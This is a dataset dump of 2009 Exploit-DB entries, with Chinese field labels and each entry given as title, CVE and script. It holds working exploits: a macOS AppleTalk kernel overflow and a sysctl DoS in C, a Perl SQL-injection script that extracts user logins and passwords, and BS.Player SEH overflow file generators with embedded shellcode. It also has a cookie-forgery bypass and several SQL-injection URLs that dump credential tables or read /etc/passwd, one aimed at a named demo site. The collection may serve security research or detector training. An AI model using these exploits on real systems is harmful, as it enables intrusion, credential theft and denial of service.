QLWD/code_shield huggingface dataset:
标题: Apple Mac OSX xnu 1228.3.13 - 'zip-notify' Remote Kernel Overflow (PoC) EDB-ID: 8262 CVE: 2009-1236 类型: DOS 平台: OSX 发布日期: 2009-03-23 漏洞利用脚本: /* xnu-appletalk-zip.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC
 * by mu-b - Sun 13 Apr 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 * Compile: gcc -Wall xnu-appletalk-zip.c /usr/lib/libatalk.a -o xnu-appletalk-zip
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>

#include <netatalk/endian.h>
#include <netatalk/at.h>
#include <atalk/netddp.h>
#include <atalk/ddp.h>
#include <atalk/zip.h>
#include <atalk/util.h>

int
main (int argc, char **argv)
{
  struct sockaddr_at daddr, saddr;
  char *p, buf[1024];
  int fd, zlen;

  printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc < 3)
    {
      fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  if (!atalk_aton (argv[1], &daddr.sat_addr))
    {
      fprintf (stderr, "* dst address: atalk_aton failed\n");
      exit (EXIT_FAILURE);
    }

  if (argc > 3)
    {
      if (!atalk_aton (argv[3], &saddr.sat_addr))
        {
          fprintf (stderr, "* src address: atalk_aton failed\n");
          exit (EXIT_FAILURE);
        }
    }

  daddr.sat_family = AF_APPLETALK;
  daddr.sat_port = 6;

  if ((fd = netddp_open (argc > 3 ? &saddr
                                  : NULL, NULL)) < 0)
    {
      fprintf (stderr, "* netddp_open failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("Appletalk dst: %s, ", argv[1]);
  if (argc > 3)
    printf ("src: %s, ", argv[3]);
  printf ("zone: %s... ", argv[2]);

  p = buf;
  *p++ = DDPTYPE_ZIP;
  *p++ = ZIPOP_NOTIFY;  /* ZIP NOTIFY   */
  *p++ = 0x00;

  *p++ = 0x00;          /* pad          */
  *p++ = 0x00;
  *p++ = 0x00;
  *p++ = 0x00;

  zlen = strlen (argv[2]);
  *p++ = zlen;
  memcpy (p, argv[2], zlen);
  p += zlen;

  *p++ = 0x80;          /* >= 0x80 sign extended :(
                         * <  0x80 not enough to hit anything useful,
                         *         except maybe ifPort...
                         */
  memset (p, 0x41, 0x80);
  p += 0x80;

  if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr,
                                          sizeof (struct sockaddr_at)) < 0)
    {
      fprintf (stderr, "* netddp_sendto failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8262
标题: X-BLC 0.2.0 - 'get_read.php?section' SQL Injection EDB-ID: 8258 CVE: 2009-2310 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-23 漏洞利用脚本: #!/usr/bin/perl -w

#  :::::::-.   ...    ::::::.    :::.
#   ;;,   `';, ;;     ;;;`;;;;,  `;;;
#   `[[     [[[['     [[[  [[[[[. '[[
#    $$,    $$$$      $$$  $$$ "Y$c$$
#    888_,o8P'88    .d888  888    Y88
#    MMMMP"`   "YmmMMMM""  MMM     YM
#   [ Discovered by dun \ dun[at]strcpy.pl ]
#
######################################################
#  [ xblc <= 0.2.0 ]   SQL Injection Vulnerability   #
######################################################
# 
# Script: "X-BLC is a dynamic web content management system written in PHP..."
#
# Script site: http://www.biolawcom.de/xblc/ , http://sourceforge.net/projects/xblc/
# Download: http://downloads.sourceforge.net/xblc/xblc-0.2.0.zip?use_mirror=fastbull
#
# Usage: perl expl.pl http://www.biolawcom.de/demo/
#
#######################################################
#
# [ dun / 2009 ] 

use IO::Socket;
use Socket;
use IO::Select;

my @tables=("id","login_name","password","email","status");

if(scalar(@ARGV) < 1) {
 print "\nUsage: perl expl.pl http://site.com/path/\n\n";
 exit;
}

foreach $t (@tables) {
$i=1;
print $t." = ";
  do {
 $path  = "include/get_read.php?section=-1+UNION+SELECT+ORD(SUBSTRING(".$t.",".$i.",1))+FROM+users/*";
 $host  = $ARGV[0].$path;
 #############################################
 # $page = http_query($host, $proxy, $port); #
 #############################################
 $page = http_query($host);
 $page =~ /guest=(.*)\,runTime=/;
 $char=$1;
 print chr($char);
 $i++;
  } while($char != 0);
  print "\n";
}
  
sub http_query {
 my $page="";
 my $url=$_[0];
 if(defined($_[1]) && defined($_[2])) {
 $host=$_[1];
 $port=$_[2];
 $get="GET $url HTTP/1.0\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 } else {
 $port=80;
 $url=~s/http:\/\///;
 $host=$url;
 $query=$url;
 $host=~s/([a-zA-Z0-9\.]+)\/.*/$1/;
 $query=~s/$host//;
 if ($query eq "") {$query="/";};
 $get="GET $query HTTP/1.0\r\nHost: $host\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\nCookie: id=1\r\nConnection: Close\r\n\r\n";
 }
 my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"$port",Proto=>"tcp",Timeout => 3) or return;
 print $sock $get;
 my @r = <$sock>;
 $page="@r";
 close($sock);
  
 return $page;
}

# milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8258
标题: Apple Mac OSX xnu 1228.x - 'vfssysctl' Local Kernel Denial of Service (PoC) EDB-ID: 8265 CVE: 2009-1238 类型: DOS 平台: OSX 发布日期: 2009-03-23 漏洞利用脚本: /* xnu-vfssysctl-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.x local kernel DoS POC
 * by mu-b - Wed 19 Nov 2008
 *
 * - Tested on: Apple MACOS X 10.5.5 (xnu-1228.8.20~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <hfs/hfs_mount.h>
#include <pthread.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/sysctl.h>
#include <unistd.h>

void
hammer (void *arg)
{
  char buf[1024 * (255 + 1)];
  int n, name[6];

  memset (buf, 0, sizeof buf);

  while (1)
    {
      name[0] = CTL_VFS;
      name[1] = 17;
      name[2] = HFS_SET_PKG_EXTENSIONS;
      name[3] = (int) buf;
      name[4] = 1024;
      name[5] = (rand () % 254) + 1;
      n = sysctl (name, 6, NULL, NULL, NULL, 0);

      usleep(10);
    }
}

int
main (int argc, char **argv)
{
  int i, n, tid;

  printf ("Apple MACOS X xnu <= 1228.x local kernel DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  for (i = 0; i < 4; i++)
    {
      n = pthread_create (&tid, NULL, hammer, NULL);
      if (n < 0)
        {
          fprintf (stderr, "failed creating hammer thread\n");
          return (EXIT_FAILURE);
        }
    }

  while (1)
    sleep (1);

  /* not reached! */
  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23] URL: https://www.exploit-db.com/exploits/8265
标题: BS.Player 2.34 - '.bsl' Universal Overwrite (SEH) EDB-ID: 8251 CVE: 2009-1068 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-20 漏洞利用脚本: #usage: exploit.py
print "**************************************************************************"
print " Bs.Player 2.34 (.bsl) Universal Seh Overwrite Exploit\n"
print " Author : Nine:Situations:Group::pyrokinesis"
print " Exploited by : His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
          
   
buff = "\x41" * 412

next_seh = "\xEB\x12\x41\x41"

seh = "\xD0\x26\x58\x02" # oldskin.dll

nops = "\x90"*19

header1= "\x68\x74\x74\x70\x3A\x2F\x2F\x52\x61\x77\x2D\x48\x69\x67\x68\x2E"
header2= "\x2E\x46\x4D\x2F\x6C\x69\x73\x74\x65\x6E\x2E\x70\x6C\x73\x0A\x00"

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x30\x42\x30\x4b\x58\x45\x34\x4e\x33\x4b\x58\x4e\x37"
"\x45\x30\x4a\x37\x41\x30\x4f\x4e\x4b\x48\x4f\x54\x4a\x51\x4b\x58"
"\x4f\x55\x42\x42\x41\x50\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x48"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x30\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x52\x46\x50\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x58\x42\x54\x42\x53\x45\x48\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x54\x4e\x30\x4b\x38\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x58\x4a\x46\x4e\x53\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x35\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x45\x4a\x46\x4a\x49"
"\x50\x4f\x4c\x48\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x46\x43\x46\x42\x30\x5a")

 
exploit = header1 + buff + next_seh + seh + nops + shellcode + header2

try:
    out_file = open("exploit.bsl",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!\n"
except:
    print "Error"

# milw0rm.com [2009-03-20] URL: https://www.exploit-db.com/exploits/8251
标题: Bloginator 1a - Cookie Bypass / SQL Injection EDB-ID: 8243 CVE: 2009-1050 2009-1049 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-19 漏洞利用脚本: ##########################################################################

Author = FireShot , Jacopo Vuga.
Mail = fireshot<at>autistici<dot>org

Software = Bloginator V1A
Download = http://kamads.com/kamads_ads/download.php?email=bloginator&ID=0

Greets to = Osirys, Myral, str0ke

###########################################################################

Vulnerability = Insicure Cookie Handling

###########################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

global $name,$password,$returnLink;
$p_name = strip_tags(substr($_POST['name'],0,32));
$p_password = strip_tags(substr($_POST['password'],0,32));
if(crypt($p_name , $name) == $name and crypt($p_password,$password) == $password )
 {

           setcookie("identifyYourself","you are identified");
           print "Login successfull<br>";
           print $returnLink;
       }
   else {print "Wrong username or password";
   }
}

[/CODE]


[EXPLOIT]

javascript:document.cookie = "identifyYourself=you+are+identified; path=/";

[/EXPLOIT]

############################################################################

Vulnerability = SQL injection

############################################################################

[CODE]

[URL] www.site.com/bloginator/articleCall.php

$action = @$_GET['action'];
[...]
$id = $_GET['id'];
[...]
function editArticle($id,$message)
{
global $returnLink;
$query = "select * FROM articles WHERE id='$id'";
$sql = mysql_query($query) or die(mysql_query());
$title = mysql_result($sql,0,'title');
$title = htmlentities($title);
$article = mysql_result($sql,0,'article');
$article = htmlentities($article);
$link = mysql_result($sql,0,'link');
$link = htmlentities($link);

startHTML("Edit ID # ".$id);
?>

[/CODE]

[EXPLOIT]

As Admin (Post Cookie exploit) you can inj arbitrary SQL code in the query.

www.site.com/action=edit&id=fireshot' union select 1,2,3,4,load_file('/etc/passwd'),6,7 order by '*

[/EXPLOIT]

############################################################################## 

# milw0rm.com [2009-03-19] URL: https://www.exploit-db.com/exploits/8243
标题: DeluxeBB 1.3 - 'qorder' SQL Injection EDB-ID: 8240 CVE: 2010-4151 2009-1033 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-18 漏洞利用脚本: # Author: girex
# Homepage: girex.altervista.org
# Date:  18/03/2009

# CMS:  DeluxeBB 1.3 and prior
# site:  deluxebb.com

# NOTE:  - Works regardless of php.ini settings
  
  - This SQL injection will shows you username and md5
    of ALL registered users of the site.
  
  - This PoC was written for educational purpose. Use it at your own risk.
    Author will be not responsible for any damage.

----------------------------------------------------------------------------------------

# Vuln description:
# DeluxeBB suffers many SQL Injections. They are caused, in part, by the extract() function
# used in header.php. I think this is a very bad practice. Attacker doesn't need
# register_globals turned On, and in this case that i'm showing you magic_quotes 
# turned Off too.

# file: misc.php    lines: 461-464

 if($order == "name") { $qorder = "ORDER BY username"; }
 if($order == "regdate") { $qorder = "ORDER BY joineddate"; }
 if($order == "posts") { $qorder = "ORDER BY posts"; }
 if($order == "lastpost") { $qorder = "ORDER BY lastpost"; }

# This sequence of if does not provide an else..

# file: misc.php    line: 490

 $getsel = $db->query("SELECT * FROM ".$prefix."users ".$qfilter." ".$qorder."  <==
               ".$sort." LIMIT ".$pageinfo[0].",".$pageinfo[1]);

# An attacker can set an arbitrary value to the var $qorder if $order
# has a value not expected.

----------------------------------------------------------------------------------------

# PoC:
# I reccomend to use first of all this SQL Injection to retrieve all table's name
# of the database thanks to informatin_schema. You can use it to retrieve the table prefix
# of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,table_name,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+information_schema.tables%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# Real PoC:
# This SQL Injection will shows you ALL usernames and password hashes of the CMS.

GET [target]/[path]/misc.php?sub=memberlist&order=1&
qorder=UNION+ALL+SELECT+uid,username,3,4,membercode,6,7,8,9,10,11,12,13,14,pass,16,17,18,19,20,21,22,23,24,25,26,27,28,29+
FROM+deluxebb_users%23&sort=ASC&filter=all&searchuser=.&submit=1

----------------------------------------------------------------------------------------

# NOTE: to get admin's access edit your cookies:

# memberid  =>    victim's id
# membercookie  => victim's username
# memberpw   =>  victim's md5

----------------------------------------------------------------------------------------

girex

# milw0rm.com [2009-03-18] URL: https://www.exploit-db.com/exploits/8240
标题: BS.Player 2.34 Build 980 - '.bsl' Local Buffer Overflow (SEH) EDB-ID: 8249 CVE: 2009-1068 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-20 漏洞利用脚本: <?php
/*
Bs.Player <= 2.34 Build 980 (.bsl) local buffer overflow 0day exploit (seh)
by Nine:Situations:Group::pyrokinesis

Overlong hostnames in bsplayer playlist files causes eax and seh handlers to be
overwritten. Cannot reliably debug with olly because of code compression, just
used faultmon/memdump/msfpescan and I choosed the easy/universal way with seh.
There are some pop ret addresses in common among the vulnerable versions...

Well it says local but I consider it a remote one because .bsl files are
associated to the program
Tested and working against:

...
v2.32 Build 975 Free
v2.34 Build 980 PRO
win xp pro sp2 / sp3
win 2k3 sp1

not vulnerable:
v2.35 Build 985 PRO
V2.36 Build 990 Free/Pro


*/
$buffer=
"\x23\x45\x58\x54\x4d\x33\x55\x0d\x0a\x23\x45\x58\x54\x49\x4e\x46".
"\x3a\x30\x2c\x41\x41\x41\x41\x0d\x0a\x68\x74\x74\x70\x3a\x2f\x2f".
"\x52\x61\x77\x2d\x48\x69\x67\x68\x2e";

$nop1=str_repeat("\x90",384);
$eax_again="BBBB";
$nop2=str_repeat("\x90",12);
$eax="CCCC";
$nop3=str_repeat("\x90",8);
$jnk=$nop1.$eax_again.$nop2.$eax.$nop3;

$jmp="\xeb\x08\x90\x90";

$seh="\xb1\xad\x41\x00"; //0x0041adb1   pop pop ret bsplayer.exe

$nop4=str_repeat("\x90",100);

// win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
$scode=
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x51\x5a\x6a\x47".
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x57\x32\x42\x42\x42\x32".
"\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x59\x79\x4b\x4c\x69".
"\x78\x37\x34\x67\x70\x45\x50\x75\x50\x6c\x4b\x61\x55\x45\x6c\x6e".
"\x6b\x71\x6c\x73\x35\x62\x58\x66\x61\x6a\x4f\x4c\x4b\x42\x6f\x56".
"\x78\x4c\x4b\x71\x4f\x77\x50\x57\x71\x6a\x4b\x72\x69\x6e\x6b\x75".
"\x64\x4e\x6b\x75\x51\x68\x6e\x30\x31\x59\x50\x4d\x49\x4c\x6c\x4f".
"\x74\x69\x50\x31\x64\x36\x67\x4f\x31\x4a\x6a\x44\x4d\x75\x51\x68".
"\x42\x38\x6b\x5a\x54\x35\x6b\x62\x74\x75\x74\x37\x74\x70\x75\x68".
"\x65\x4c\x4b\x51\x4f\x35\x74\x73\x31\x4a\x4b\x50\x66\x6c\x4b\x44".
"\x4c\x50\x4b\x6c\x4b\x41\x4f\x77\x6c\x34\x41\x7a\x4b\x6c\x4b\x67".
"\x6c\x6e\x6b\x37\x71\x6a\x4b\x4d\x59\x33\x6c\x71\x34\x54\x44\x39".
"\x53\x55\x61\x6f\x30\x41\x74\x6c\x4b\x37\x30\x70\x30\x6e\x65\x4b".
"\x70\x61\x68\x66\x6c\x6e\x6b\x61\x50\x36\x6c\x6e\x6b\x74\x30\x65".
"\x4c\x6e\x4d\x6c\x4b\x71\x78\x64\x48\x68\x6b\x76\x69\x6c\x4b\x4f".
"\x70\x48\x30\x75\x50\x75\x50\x55\x50\x4e\x6b\x63\x58\x67\x4c\x31".
"\x4f\x56\x51\x4a\x56\x53\x50\x41\x46\x4f\x79\x4b\x48\x4b\x33\x39".
"\x50\x61\x6b\x32\x70\x53\x58\x6c\x30\x4c\x4a\x65\x54\x53\x6f\x63".
"\x58\x7a\x38\x49\x6e\x4e\x6a\x54\x4e\x70\x57\x69\x6f\x58\x67\x62".
"\x43\x72\x41\x70\x6c\x70\x63\x43\x30\x47";

$buffer.=$jnk.$jmp.$seh.$nop4.$scode;
$buffer.=
"x56\x37\x2e\x46\x4d\x2f\x6c\x69\x73\x74\x65\x6e\x2e\x70".
"\x6c\x73\x0d\x0a\x00";

$fp=fopen("evil.bsl","w+");
if (!$fp) {die("cannot create evil.bsl!");}
@fputs($fp,$buffer);
@fclose($fp);
?>

# milw0rm.com [2009-03-20] URL: https://www.exploit-db.com/exploits/8249
标题: WordPress Plugin fMoblog 2.1 - 'id' SQL Injection EDB-ID: 8229 CVE: 2009-0968 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-17 漏洞利用脚本: #############################################################
# Wordpress Plugin fMoblog Remote SQL Injection Vulnerability
# Plugin Home: http://www.fahlstad.se/wp-plugins/fmoblog/
# Plugin Version: 2.1
# Author: strange kevin
# Email: strange.kevin@gmail.com
# Google Dork: "Gallery powered by fMoblog"
##############################################################

# Exploit: http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--
# Demo: http://www.tarynitup.com/?page_id=20&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

##############################################################
# Greetz: str0ke and milw0rm.com
##############################################################

# milw0rm.com [2009-03-17] URL: https://www.exploit-db.com/exploits/8229
标题: PHPRunner 4.2 - 'SearchOption' Blind SQL Injection EDB-ID: 8226 CVE: 2009-0964 2009-0963 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-17 漏洞利用脚本: ##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:        PHPRunner SQL Injection
# Vendor:        http://www.xlinesoft.com
# Vulnerable Version:    4.2 (prior versions also may be affected)
# Exploitation:        Remote with browser
# Original Advisory:    http://www.bugreport.ir/index_63.htm
# Fix:            N/A
###################################################################################

####################
- Description:
####################

PHPRunner builds visually appealing web interface for popular databases. Your web site visitors will be able to easily search, add, edit, delete and exprt

data in MySQL, Oracle, SQL Server, MS Access, and Postgre databases.

####################
- Vulnerability:
####################

Input passed to the "SearchField" parameters in "UserView_list.php" is not properly sanitised before being used in SQL queries.
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Vulnerable Pages: 'orders_list.php' , 'users_list.php' , 'Administrator_list.php'


####################
- PoC:
####################

Its possible to obtain plain text passwords from database by blind fishing exploit

http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=Password like '%%')--
http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=mid(Password,1,1)='a')--
http://example.com/output/UserView_list.php?a=search&value=1&SearchFor=abc&SearchOption=Contains&SearchField=mid(Password,1,2)='ab')--

####################
- Solution:
####################

Edit the source code to ensure that inputs are properly sanitized.


####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com 

# milw0rm.com [2009-03-17] URL: https://www.exploit-db.com/exploits/8226
标题: Advanced Image Hosting (AIH) 2.3 - 'gal' Blind SQL Injection EDB-ID: 8238 CVE: 2009-1032 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-18 漏洞利用脚本: ###################################################################
Advanced Image Hosting (AIH) Remote Blind SQL Injection 
###################################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Blind SQL injection 
#[~] Google Dork   :  Powered by: AIH v2.3
--------------------------------------------------
#[!] Product Name  :  Advanced Image Hosting    
#[!] Product Site  :  http://www.yabsoft.info
#[!] Version       :  v2.3
#[!] Download      :  http://yabsoft.com/aihs-feature.php
###################################################

[!] AIH Blind SQL Injection.

PoC / Live Demo:
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),1,1))>100--++

First charcter of the username is char(100) -->  char="d"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),2,1))>101--++

Second charter of the username is char(101) -->  char2="e"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),3,1))>109--++

Next charter of the username is char(109) --> char3="m"
-------------
http://yabsoft.info/demo/aihspro/gallery_list.php?gal=3'/**/and/**/ascii(substring((select/**/concat(admin,0x3a,pass)/**/from/**/setting/**/limit/**/0,1),4,1))>111--++

And The last charter of the username is char(111) --> char4="o"
-------------
Like we see the username is "demo" now you can continue finding another charters for password, changing the number of charters 5,6,7,8,9,10........?>


##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] United States of Albania
##############################

# milw0rm.com [2009-03-18] URL: https://www.exploit-db.com/exploits/8238